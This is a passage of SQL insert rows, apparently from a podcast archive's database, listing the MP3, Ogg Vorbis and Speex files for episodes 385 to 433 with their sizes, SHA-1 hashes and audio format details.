(385,'hpr0385.ogg','ogg',8946495,'f70645382dba4fbff294f6363df2e5e15c021491','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(385,'hpr0385.spx','spx',2655142,'6f47f3534b8e0ab47d7c5f122f66620cf554af32','application/ogg; charset=binary','Ogg data, Speex audio'),
(386,'hpr0386.mp3','mp3',13387904,'a5c65f011935fd9d32aa45a774ad2915cf9b220c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(386,'hpr0386.ogg','ogg',7827758,'76707f2bca1bf55d60985fbd04d09d4a1c830653','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(386,'hpr0386.spx','spx',2989411,'6e7c0d143068027aa86fc096f16a92a639530da6','application/ogg; charset=binary','Ogg data, Speex audio'),
(387,'hpr0387.mp3','mp3',21074935,'b993f8129ade63dbe9ed944f13c07f1cc92309b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Monaural'),
(387,'hpr0387.ogg','ogg',11324388,'b2a06c0804f0f9009848abbe59ec6b737a063bab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~48000 bps, created by: Xiph.Org libVorbis I'),
(387,'hpr0387.spx','spx',9412296,'d55fa4ad82c6f96b83e09cd3319b4d51e5b2db1c','application/ogg; charset=binary','Ogg data, Speex audio'),
(388,'hpr0388.mp3','mp3',14221168,'fa815709b6f8c2f790247e4f905515ddd2052d05','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, Stereo'),
(388,'hpr0388.ogg','ogg',5898934,'68a3c869ad461cf61a80b354eac6063f5c7cf65a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(388,'hpr0388.spx','spx',2612240,'71b4658510c7cbca998b918768c12eae33044608','application/ogg; charset=binary','Ogg data, Speex audio'),
(389,'hpr0389.mp3','mp3',11786764,'9d8c14e99680120bc747fe86d107aa9dce42e596','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(389,'hpr0389.ogg','ogg',7987326,'5e7b4b07422d84f2614130f2ea241f76b82cb14b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(389,'hpr0389.spx','spx',2706301,'8c7df1d95dd0cf3b90f1ffb546cbc2e91d31d886','application/ogg; charset=binary','Ogg data, Speex audio'),
(390,'hpr0390.mp3','mp3',17666719,'765b75016275bd1773f3cd59b2fa643c07451f96','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(390,'hpr0390.ogg','ogg',13698735,'107ee5844fb334ac317a4227271ea7c982416863','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(390,'hpr0390.spx','spx',6490036,'41ca5d8d0328b3c5e537dbee93850594f0d6ee30','application/ogg; charset=binary','Ogg data, Speex audio'),
(391,'hpr0391.mp3','mp3',53311585,'0171d2adcbdf68a07667c41df1646b77b0ce4f20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(391,'hpr0391.ogg','ogg',50408103,'9b0ce3dc9aa4f9290468d5bae7ee40e808667a4f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(391,'hpr0391.spx','spx',19584817,'76087b9b40ee6ca128f17b7ddee8d3476effbd13','application/ogg; charset=binary','Ogg data, Speex audio'),
(392,'hpr0392.mp3','mp3',12702930,'d9425445073f2d20d68cc4532efcb9790938ee8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(392,'hpr0392.ogg','ogg',6388104,'6628f55c4ca05de33e1b63d82fd4b812a2c1a0d2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(392,'hpr0392.spx','spx',2916650,'1e72233569b1d54bbcfc3e2ab96eae3877cee038','application/ogg; charset=binary','Ogg data, Speex audio'),
(393,'hpr0393.mp3','mp3',28506459,'a0b4343b603a00cbe38a1f54fd1e1d463e65d15f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(393,'hpr0393.ogg','ogg',21437256,'9a5f01477cc332c93dc7db94415d87420a3b37a6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(393,'hpr0393.spx','spx',13090543,'a6e332aaaae7df1bbd50e6892aea89a6a9520f3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(394,'hpr0394.mp3','mp3',19489751,'b025a07546b4b908da14db977bda9ce563c8ac4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(394,'hpr0394.ogg','ogg',11783723,'d07f5c646e2bfb9b0fdda78de80a8ba032c6a620','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(394,'hpr0394.spx','spx',4474951,'db2756cdc2b03d08a5fc06b671932cb4bbdc044f','application/ogg; charset=binary','Ogg data, Speex audio'),
(395,'hpr0395.mp3','mp3',20313651,'02b56c216d395164b2c30eb061058d9b979d49c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(395,'hpr0395.ogg','ogg',15524824,'8dbfa1d954c38f53ee67d8458c6c2beebd6ae3f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(395,'hpr0395.spx','spx',9072362,'89eb92aff78dd0d87b14d0dd791bb0ecc1e10bd7','application/ogg; charset=binary','Ogg data, Speex audio'),
(396,'hpr0396.mp3','mp3',29069303,'65a8296e956322a77634232d5924363d3861e766','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(396,'hpr0396.ogg','ogg',28849232,'d07e3d2c4caaa92c21ddf3f0ff82b481216f9d3b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(396,'hpr0396.spx','spx',10679204,'676a1b2f1cb3fe17594b93d8c3cfdb811e6d9b0e','application/ogg; charset=binary','Ogg data, Speex audio'),
(397,'hpr0397.mp3','mp3',12794772,'19ea04df0db6b216f6745efc1aba2507128f836b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(397,'hpr0397.ogg','ogg',18056143,'a62dafb0e609dadee93c91bc14acd6bf5c8cdda5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(397,'hpr0397.spx','spx',5875568,'a44837261fba146a323ff547eedd30be5f5d49b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(398,'hpr0398.mp3','mp3',25125619,'1151bcd5f8a6d99aa646446d883e55dd7f67024c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, JntStereo'),
(398,'hpr0398.ogg','ogg',23884404,'53db13b790d68b2d89a13548a55f8489a95f0271','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(398,'hpr0398.spx','spx',9200402,'cb47f53609cc650d39c99f7af1c9659828c9cc85','application/ogg; charset=binary','Ogg data, Speex audio'),
(399,'hpr0399.mp3','mp3',27142953,'fa42953d73f54db8b16acd7ed270b44c09284d24','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 24 kHz, Monaural'),
(399,'hpr0399.ogg','ogg',10102968,'61c68411bc75877801fba1a6cdf08006c75452ea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(399,'hpr0399.spx','spx',6061357,'1f78d3e724f2873f06a44cbd3d86164ad95e7a00','application/ogg; charset=binary','Ogg data, Speex audio'),
(400,'hpr0400.mp3','mp3',22050320,'51f8508b0fbcb7dbdf5aa0d54734dc4a2e7468e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(400,'hpr0400.ogg','ogg',18459696,'a832d71e6fe15d9f1de518095d43be180d0886d3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(400,'hpr0400.spx','spx',5062804,'d1fb58bc938d179b3ed6a5ea6ab75090097f75b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(401,'hpr0401.mp3','mp3',9054434,'c98e406d716e5e8a7cdb05324d0787ef155c45ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(401,'hpr0401.ogg','ogg',6721045,'3ec04c839578565ce43e836666d588e4e898ae70','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(401,'hpr0401.spx','spx',2695995,'5c53b329b0ffd335d06280bd4e981c1d59f0e181','application/ogg; charset=binary','Ogg data, Speex audio'),
(402,'hpr0402.mp3','mp3',16220045,'f4d7ee7bb0c93070c0c44c28c8223b8c22e34300','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(402,'hpr0402.ogg','ogg',9989576,'8e3321ee4ce8af9511a0cf835d3e949da67ee6d6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(402,'hpr0402.spx','spx',4256299,'9e2e7261dd97750e7af44d48644c0eb3960e7157','application/ogg; charset=binary','Ogg data, Speex audio'),
(403,'hpr0403.mp3','mp3',55226983,'e68005f0b2e154998ed178ddff7f3fdbe1f0d5ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(403,'hpr0403.ogg','ogg',53169385,'9c27a2a20014cc62ca2418bada74ca4cf4851bce','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(403,'hpr0403.spx','spx',20288766,'092e81c1d98e6fb1d2cf41159fdf7f2485bc7e59','application/ogg; charset=binary','Ogg data, Speex audio'),
(404,'hpr0404.mp3','mp3',3135888,'8990b22e6e34c8b2488f61519825f4e991459cf9','audio/mpeg; charset=binary','MPEG ADTS, layer III,  v2.5,  24 kbps, 8 kHz, JntStereo'),
(404,'hpr0404.ogg','ogg',3636424,'52207ffbd6af27d9b9fd50126bf9189092b6a8f9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(404,'hpr0404.spx','spx',3840054,'615a33d342c03303438ee4ccce6f31181cc9608b','application/ogg; charset=binary','Ogg data, Speex audio'),
(405,'hpr0405.mp3','mp3',8627215,'1ef794b67c5fbb1641d3c49f38ca49614a0a7c7e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(405,'hpr0405.ogg','ogg',6487520,'af89abc7b320fc9db1993612edde075c0a4c962e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(405,'hpr0405.spx','spx',3852737,'686f254c10ecd9a96f5095c81d6cdf002813a8bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(406,'hpr0406.mp3','mp3',6668709,'05107fbf3e12df764b57e64f54d52ee1b055a656','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(406,'hpr0406.ogg','ogg',2988376,'3270578ae84a0708ce3e9afa6852b6b98b65afad','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(406,'hpr0406.spx','spx',3062208,'140229022d5d42f4b48db6941ced41273c9cc2d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(407,'hpr0407.mp3','mp3',44626371,'4341548503d64098e887042e6520abe9d2f8ce56','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 16 kHz, Stereo'),
(407,'hpr0407.ogg','ogg',15160508,'e4388bb70f6751f9446e8e33d231720267604c4a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(407,'hpr0407.spx','spx',10246526,'297eae441eec43b8b601a261818b9d8efb8d3ccd','application/ogg; charset=binary','Ogg data, Speex audio'),
(408,'hpr0408.mp3','mp3',7284874,'87d0240f133c92d25c595f86a12bf486d849c164','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(408,'hpr0408.ogg','ogg',4600767,'bee03dc7bcebda30edde3e7fd9f0b8fb4c9bd823','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(408,'hpr0408.spx','spx',1911676,'4b6e30ecff1ec322fc8974c2805d33d3e063f652','application/ogg; charset=binary','Ogg data, Speex audio'),
(409,'hpr0409.mp3','mp3',10251283,'1cc0ca330ad1fd3847b997d7bb08967b19d787b5','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(409,'hpr0409.ogg','ogg',4349496,'e28a81a31945a6bbba821d1400c634c132e58f71','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(409,'hpr0409.spx','spx',2353925,'37f9dde44d33e9d56cd43199c2fbb3a2e5492093','application/ogg; charset=binary','Ogg data, Speex audio'),
(410,'hpr0410.mp3','mp3',16862744,'913dd8e8a47de675ad8460b9f8653c410fcbd080','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(410,'hpr0410.ogg','ogg',19907860,'d9b7108db462b6b1f51423ab312cf0049d212a25','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(410,'hpr0410.spx','spx',6194905,'21ca28e8099d9ae5fd3e7c4ce9c2b946ba05546e','application/ogg; charset=binary','Ogg data, Speex audio'),
(411,'hpr0411.mp3','mp3',12859861,'84af47e311cc0acd0e9dc0259cdde6ee4c961939','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(411,'hpr0411.ogg','ogg',8982724,'3ae1e698bc126d1c12e7e13fedfc0550e69175a8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(411,'hpr0411.spx','spx',3374602,'26d72efa92011dd0cbb8d7c0d1ca7c70d242e73c','application/ogg; charset=binary','Ogg data, Speex audio'),
(412,'hpr0412.mp3','mp3',55928612,'1676038761e6351bc8545966c6ebad1580131e41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(412,'hpr0412.ogg','ogg',53216881,'0dd3cc4127114f1e57d8e71e60e52bd5906323f8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(412,'hpr0412.spx','spx',20546497,'b559df56674719b1717ff82df0ec51ef74b997f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(413,'hpr0413.mp3','mp3',8338911,'7556bda2ced1a1638b5d5e7e26051ebc32a56623','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(413,'hpr0413.ogg','ogg',5283140,'73507f16b19aa767d8b745b64085a66598926fb6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(413,'hpr0413.spx','spx',2188303,'0ba4ead2fdc0d037b54e76fefd5f9d8c5e3ec3bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(414,'hpr0414.mp3','mp3',10127088,'027ae8b3fe0bec75191bd209ec34066a48d9e0a2','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, JntStereo'),
(414,'hpr0414.ogg','ogg',7688383,'695ec3114a18885d064b4c58553eb39119d7f26b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(414,'hpr0414.spx','spx',4124035,'50f9c0608dcafdbcd66528978a575bffcf0c0313','application/ogg; charset=binary','Ogg data, Speex audio'),
(415,'hpr0415.mp3','mp3',24796080,'8186a1147d76e747216e7170a507d280b55f7a29','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(415,'hpr0415.ogg','ogg',29292276,'104f63b763e15339b04f5cfff8b9a694c604fa71','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(415,'hpr0415.spx','spx',22773345,'4421c64e8cdde7a9798b2338d04d95c2624dc41b','application/ogg; charset=binary','Ogg data, Speex audio'),
(416,'hpr0416.mp3','mp3',4083469,'bb7da25eff762a5933cce20183247dcd121015f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(416,'hpr0416.ogg','ogg',1828290,'6852990f3c05967de4a4f6ccb4abfe58ce32f5b0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(416,'hpr0416.spx','spx',1875079,'edb27aa5f4e936db39901986eb6edea8a09be7d3','application/ogg; charset=binary','Ogg data, Speex audio'),
(417,'hpr0417.mp3','mp3',12736456,'23890b44e9795b899ba4eaf2266aa581ddd2456e','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(417,'hpr0417.ogg','ogg',13574378,'0e1f3ade7380be2e16fa86111dc83a4f838bbc6e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(417,'hpr0417.spx','spx',10089581,'ca819a6a09aa637430c6c95cc5b8a6ad2fda066c','application/ogg; charset=binary','Ogg data, Speex audio'),
(418,'hpr0418.mp3','mp3',5543597,'20474714a654c84ca59db776ca8dc3c0b0799c93','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(418,'hpr0418.ogg','ogg',2388742,'91ce9ca1bc606a08078f6a4727a9c470f9ebff71','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(418,'hpr0418.spx','spx',2545597,'c91f6139acbfce8a3d2478818db25beee1eef526','application/ogg; charset=binary','Ogg data, Speex audio'),
(419,'hpr0419.mp3','mp3',27049664,'71d6a1238e811a7ed9529e1127e5e80775cc11b6','audio/mpeg; charset=binary','MPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(419,'hpr0419.ogg','ogg',11432444,'ecf46e9cff5e2c28abf1f2ae19ae0aa8f17f614d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(419,'hpr0419.spx','spx',12421704,'d69bc41e58aad9287fd876b1e0f8161672109409','application/ogg; charset=binary','Ogg data, Speex audio'),
(420,'hpr0420.mp3','mp3',23381744,'ef8997c599a4843d1ccd1ae289b6910ae23ed4fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(420,'hpr0420.ogg','ogg',8317108,'7fbce5c786ceb5e73555dfb87f582a05e58c25a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(420,'hpr0420.spx','spx',10442420,'fdbdda17f1062598d151b1debc86a51079920d5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(421,'hpr0421.mp3','mp3',26659292,'118b931fb8fcc15ae07636c323d0529cb24936a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(421,'hpr0421.ogg','ogg',34726899,'dc4847f93aef20410e7b3fe4c9b05a4131e77252','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(421,'hpr0421.spx','spx',12242304,'e1a28128341df396c42df500b88e84f203dac291','application/ogg; charset=binary','Ogg data, Speex audio'),
(422,'hpr0422.mp3','mp3',3589087,'e59f5e1aacb32c18b49d0811c2825a550b8a758b','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(422,'hpr0422.ogg','ogg',3754147,'f40d81422eaf9fa27c5b73fb9fc3a190b01a78f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(422,'hpr0422.spx','spx',2783253,'344fa350067d9480abf43b32314f839f8e21809c','application/ogg; charset=binary','Ogg data, Speex audio'),
(423,'hpr0423.mp3','mp3',8345429,'a2d7852ddbddce64c2d73a8311223b81873beb33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(423,'hpr0423.ogg','ogg',4799034,'50080057996b4d3b8aacf078d2da274eeb6ba149','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(423,'hpr0423.spx','spx',2189982,'058a643e50d78210d80ed5167cfc34e51b9c2588','application/ogg; charset=binary','Ogg data, Speex audio'),
(424,'hpr0424.mp3','mp3',51151054,'7dd97dd60ad229f8b8fca0fe8d0403858f6e82ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(424,'hpr0424.ogg','ogg',55202210,'d3e4e568bcce611e0018bc5eb0f1d646abbd84f0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(424,'hpr0424.spx','spx',18791360,'0f0c0c194b170237a5f97fe87afc872788e0edaa','application/ogg; charset=binary','Ogg data, Speex audio'),
(425,'hpr0425.mp3','mp3',4541630,'ac9d2f8798260d3d97d8fdb514c982436e42be2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Stereo'),
(425,'hpr0425.ogg','ogg',2942498,'20a297d710fffbe6e13e382170a00b49e0df3cbb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(425,'hpr0425.spx','spx',2085574,'ba7bcc6b37331af35b20f15bacfb3a9adb191ffd','application/ogg; charset=binary','Ogg data, Speex audio'),
(426,'hpr0426.mp3','mp3',2374216,'8b3cb832a93690cb3c4eb6222f44f715a4cea152','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Stereo'),
(426,'hpr0426.ogg','ogg',1836496,'59cc00a1f09f918e986e2bef0e86e26f9f6fbacb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(426,'hpr0426.spx','spx',1090390,'57a73a0aa879ebe94231475ccd4057f594aaa8f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(427,'hpr0427.mp3','mp3',49644880,'0c41f873784bbd2938741936d861e01fb31b2078','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(427,'hpr0427.ogg','ogg',36095557,'b2a8afd2c8b30932d5ee0650b1abc0443d8011bc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(427,'hpr0427.spx','spx',11398810,'487ab73e4c4a5ee69690997023418fe1df813598','application/ogg; charset=binary','Ogg data, Speex audio'),
(428,'hpr0428.mp3','mp3',10230386,'280f70dd80ff08aa5a6abb3d5f5897d0d72d244f','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(428,'hpr0428.ogg','ogg',7249501,'18138dbd6c8e897dd1e864e259d1c5ae26623676','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(428,'hpr0428.spx','spx',2349126,'42b853ba9889fbf4bf5deb3a69aa34c0bcf23c35','application/ogg; charset=binary','Ogg data, Speex audio'),
(429,'hpr0429.mp3','mp3',29965391,'25db7f82b031071b8576ce10f7465dce0385721f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 112 kbps, 44.1 kHz, Stereo'),
(429,'hpr0429.ogg','ogg',14043267,'4ffd99008e9d060288a650e0cf019ede72fdecee','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(429,'hpr0429.spx','spx',4024837,'74060ab0d9a3bd8b54be2da22f94c5c9bd2e6c60','application/ogg; charset=binary','Ogg data, Speex audio'),
(430,'hpr0430.mp3','mp3',8282832,'c8d2ec5ecb8b231da18435ea09c350e565d76a5d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(430,'hpr0430.ogg','ogg',11066082,'1cfe76aca1bd29e08e3d2e64806eaad3e0a79b2d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(430,'hpr0430.spx','spx',3802654,'69c6dbc8456f8fad2365b6d3407cfd967b95829d','application/ogg; charset=binary','Ogg data, Speex audio'),
(431,'hpr0431.mp3','mp3',3682185,'90a64ce81145c43d0468d85fb0932114bf71e1d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(431,'hpr0431.ogg','ogg',3832925,'15b89517c0799118d7c869315316b1b0c4eb4199','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(431,'hpr0431.spx','spx',1643628,'ab5190a04e23dba344536eec959f872b0fe9ca87','application/ogg; charset=binary','Ogg data, Speex audio'),
(432,'hpr0432.mp3','mp3',15779912,'30ff07b108248a0ba052188264497c265c00b817','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(432,'hpr0432.ogg','ogg',15575386,'39850338b68c0e736b4f08cf29dafa6f62e2a900','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(432,'hpr0432.spx','spx',7246312,'6aca848951f2e00ad6d3b8c94901ca26efbcccc3','application/ogg; charset=binary','Ogg data, Speex audio'),
(433,'hpr0433.mp3','mp3',21773392,'6e7858dd9688a026a927bfe8a1df4d0b149a6d31','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
